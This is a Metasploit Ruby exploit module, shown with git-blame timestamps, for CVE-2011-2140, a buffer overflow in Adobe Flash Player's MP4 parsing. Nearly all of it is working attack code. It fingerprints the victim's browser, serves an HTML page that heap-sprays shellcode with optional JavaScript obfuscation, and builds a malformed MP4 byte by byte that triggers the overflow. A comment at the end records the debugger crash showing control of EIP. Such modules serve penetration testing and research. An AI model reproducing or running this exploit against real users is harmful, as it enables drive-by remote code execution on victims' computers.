2012-02-10 06:10:28 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-02-10 06:10:28 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
|
|
|
|
component. When processing a MP4 file (specifically the Sequence Parameter Set),
|
|
|
|
Flash will see if pic_order_cnt_type is equal to 1, which sets the
|
|
|
|
num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
|
|
|
|
offset_for_ref_frame on the stack, which allows arbitrary remote code execution
|
|
|
|
under the context of the user. Numerous reports also indicate that this
|
|
|
|
vulnerability has been exploited in the wild.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-04-02 21:16:38 +00:00
|
|
|
'Alexander Gavrun', # RCA
|
|
|
|
'Unknown', # Abysssec, proof of concept
|
|
|
|
'sinn3r' # Metasploit
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2011-2140' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '74439'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '49083' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '11-276' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
|
|
|
|
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
|
2015-10-27 17:41:32 +00:00
|
|
|
[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => "seh",
|
2017-02-23 23:04:36 +00:00
|
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
|
|
|
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], #0x5f4 = spot on
|
|
|
|
[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Aug 9 2011",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_target(agent)
|
|
|
|
#If the user is already specified by the user, we'll just use that
|
|
|
|
return target if target.name != 'Automatic'
|
|
|
|
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
|
|
return targets[1]
|
|
|
|
elsif agent =~ /MSIE 7/
|
|
|
|
return targets[2]
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
my_target = get_target(agent)
|
|
|
|
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
|
|
if my_target.nil?
|
|
|
|
print_error("Browser not supported: #{agent.to_s}")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# The SWF requests our MP4 trigger
|
|
|
|
if request.uri =~ /\.mp4$/
|
|
|
|
print_status("Sending MP4")
|
|
|
|
send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# The SWF request itself
|
|
|
|
if request.uri =~ /\.swf$/
|
|
|
|
print_status("Sending SWF")
|
|
|
|
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Redirect to a trailing slash so relative paths work properly
|
|
|
|
if get_resource != "/" and not request.uri.index("#{get_resource}/")
|
|
|
|
uri = get_resource + "/"
|
|
|
|
send_redirect(cli, uri)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Set payload depending on target
|
|
|
|
p = payload.encoded
|
|
|
|
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
|
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
js = <<-JS
|
|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
|
|
var code = unescape("#{js_code}");
|
|
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
|
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
|
|
var block = shellcode.substring(0, (0x7ffc0-6)/2);
|
|
|
|
|
|
|
|
heap_obj.gc();
|
|
|
|
|
|
|
|
for (var i=1; i < 0x300; i++) {
|
|
|
|
heap_obj.alloc(block);
|
|
|
|
}
|
|
|
|
JS
|
|
|
|
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
|
|
|
|
|
|
if datastore['OBFUSCATE']
|
|
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
|
|
js.obfuscate
|
|
|
|
end
|
|
|
|
|
|
|
|
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
|
|
|
|
mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
|
|
|
|
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"
|
|
|
|
|
|
|
|
html = %Q|
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<script>
|
|
|
|
#{js}
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
|
|
|
|
<param name="movie" value="#{swf_uri}">
|
|
|
|
</object>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
2013-12-31 17:06:53 +00:00
|
|
|
html = html.gsub(/^ {4}/, '')
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
print_status("Sending HTML")
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
@mp4 = create_mp4
|
|
|
|
@swf = create_swf
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
|
|
|
def create_swf
|
2013-09-26 19:34:48 +00:00
|
|
|
path = ::File.join( Msf::Config.data_directory, "exploits", "mp4player.swf" )
|
2013-08-30 21:28:54 +00:00
|
|
|
fd = ::File.open( path, "rb" )
|
|
|
|
swf = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
return swf
|
|
|
|
end
|
|
|
|
|
|
|
|
def create_mp4
|
|
|
|
ftypAtom = "\x00\x00\x00\x20" #Size
|
|
|
|
ftypAtom << "ftypisom"
|
|
|
|
ftypAtom << "\x00\x00\x02\x00"
|
|
|
|
ftypAtom << "isomiso2avc1mp41"
|
|
|
|
|
|
|
|
mdatAtom = "\x00\x00\x00\x10" #Size
|
|
|
|
mdatAtom << "mdat"
|
|
|
|
mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"
|
|
|
|
|
|
|
|
moovAtom1 = "\x00\x00\x08\x83" #Size
|
|
|
|
moovAtom1 << "moov" #Move header box header
|
|
|
|
moovAtom1 << "\x00\x00\x00"
|
|
|
|
moovAtom1 << "lmvhd" # Type
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
|
|
|
|
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
|
|
|
|
moovAtom1 << "\x00\x00\x03\xE8" # Time scale
|
|
|
|
moovAtom1 << "\x00\x00\x2F\x80" # Duration
|
|
|
|
moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
|
|
|
|
moovAtom1 << "trak" # Track box header
|
|
|
|
moovAtom1 << "\x00\x00\x00\x5C"
|
|
|
|
moovAtom1 << "tkhd"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x0F"
|
|
|
|
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
|
|
|
|
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
|
|
|
|
moovAtom1 << "rmdia"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x20" # Size
|
|
|
|
moovAtom1 << "mdhd" # Media header box
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
|
|
|
|
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
|
|
|
|
moovAtom1 << "\x00\x00\x00\x01" # Time scale
|
|
|
|
moovAtom1 << "\x00\x00\x00\x0C" # Duration
|
|
|
|
moovAtom1 << "\x55\xC4\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x2D" # Size
|
|
|
|
moovAtom1 << "hdlr" # Handler Reference header
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "vide" # Handler type
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "VideoHandler" # Handler name
|
|
|
|
moovAtom1 << "\x00\x00\x00\x02\x1D"
|
|
|
|
moovAtom1 << "minf"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x14"
|
|
|
|
moovAtom1 << "vmhd"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
|
|
|
|
moovAtom1 << "dinf" # Data information box header
|
|
|
|
moovAtom1 << "\x00\x00\x00\x1c"
|
|
|
|
moovAtom1 << "dref" # Data reference box
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x0C" # Size
|
|
|
|
moovAtom1 << "url " # Data entry URL box
|
|
|
|
moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags
|
|
|
|
moovAtom1 << "\x00\x00\x09\xDD" # Size
|
|
|
|
moovAtom1 << "stbl"
|
|
|
|
moovAtom1 << "\x00\x00\x08\x99"
|
|
|
|
moovAtom1 << "stsd"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
|
|
|
|
moovAtom1 << "\x00\x00\x08\x89" # Size
|
|
|
|
moovAtom1 << "avc1"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x01\x42" # Width
|
|
|
|
moovAtom1 << "\x01\x42" # Height
|
|
|
|
moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom1 << "\x18" # Depth
|
|
|
|
moovAtom1 << "\xFF\xFF"
|
|
|
|
moovAtom1 << "\x00\x00\x08\x33" # Size
|
|
|
|
moovAtom1 << "avcC"
|
|
|
|
moovAtom1 << "\x01" # Config version
|
|
|
|
moovAtom1 << "\x64" # Avc profile indication
|
|
|
|
moovAtom1 << "\x00" # Compatibility
|
|
|
|
moovAtom1 << "\x15" # Avc level indication
|
|
|
|
moovAtom1 << "\xFF\xE1"
|
|
|
|
|
|
|
|
# Although the fields have different values, they all become 0x0c0c0c0c
|
|
|
|
# in memory.
|
|
|
|
cycle = "\x00\x00\x00"
|
|
|
|
cycle << "\x30\x30\x30\x30" #6th
|
|
|
|
cycle << "\x00\x00\x00"
|
|
|
|
cycle << "\x18\x18\x18\x18" #7th
|
|
|
|
cycle << "\x00\x00\x00"
|
|
|
|
cycle << "\x0c\x0c\x0c\x0c" #8th
|
|
|
|
cycle << "\x00\x00\x00"
|
|
|
|
cycle << "\x06\x06\x06\x06" #1st
|
|
|
|
cycle << "\x00\x00\x00"
|
|
|
|
cycle << "\x03\x03\x03\x03"
|
|
|
|
cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
|
|
|
|
cycle << "\xc0\xc0\xc0\xc0" # 4th
|
|
|
|
cycle << "\x00\x00\x00"
|
|
|
|
cycle << "\x60\x60\x60\x60"
|
|
|
|
|
|
|
|
spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
|
|
|
|
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
|
|
|
|
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
|
|
|
|
spsunit << cycle * 35
|
|
|
|
spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"
|
|
|
|
|
|
|
|
moovAtom2 = "\x00\x00\x00\x18"
|
|
|
|
moovAtom2 << "stts"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x14"
|
|
|
|
moovAtom2 << "stss"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
|
|
|
|
moovAtom2 << "pctts"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
|
|
|
|
moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
|
|
|
|
moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x1C"
|
|
|
|
moovAtom2 << "stsc"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x44"
|
|
|
|
moovAtom2 << "stsz"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
|
|
|
|
moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x40"
|
|
|
|
moovAtom2 << "stco"
|
|
|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
|
|
|
|
moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"
|
|
|
|
|
|
|
|
moovAtom = moovAtom1 + spsunit + moovAtom2
|
|
|
|
m = ftypAtom + mdatAtom + moovAtom
|
|
|
|
return m
|
|
|
|
end
|
2012-02-10 06:10:28 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx
|
|
|
|
|
|
|
|
Flash10u+0x5b4e8:
|
|
|
|
Missing image name, possible paged-out or corrupt data.
|
|
|
|
1f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d
|
|
|
|
0:008> !exchain
|
|
|
|
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)
|
|
|
|
|
|
|
|
ECX points to 0x0c0c0c0c at the time of the crash:
|
|
|
|
0:008> r
|
|
|
|
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
|
|
|
|
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246
|
|
|
|
<Unloaded_ud.drv>+0xc0c0c0b:
|
|
|
|
0c0c0c0c ?? ???
|
|
|
|
|
|
|
|
Example of SWF player URI:
|
|
|
|
http://www.jeroenwijering.com/embed/mediaplayer.swf
|
|
|
|
|
|
|
|
To-do:
|
|
|
|
IE 8 target
|
2012-02-10 06:13:39 +00:00
|
|
|
=end
|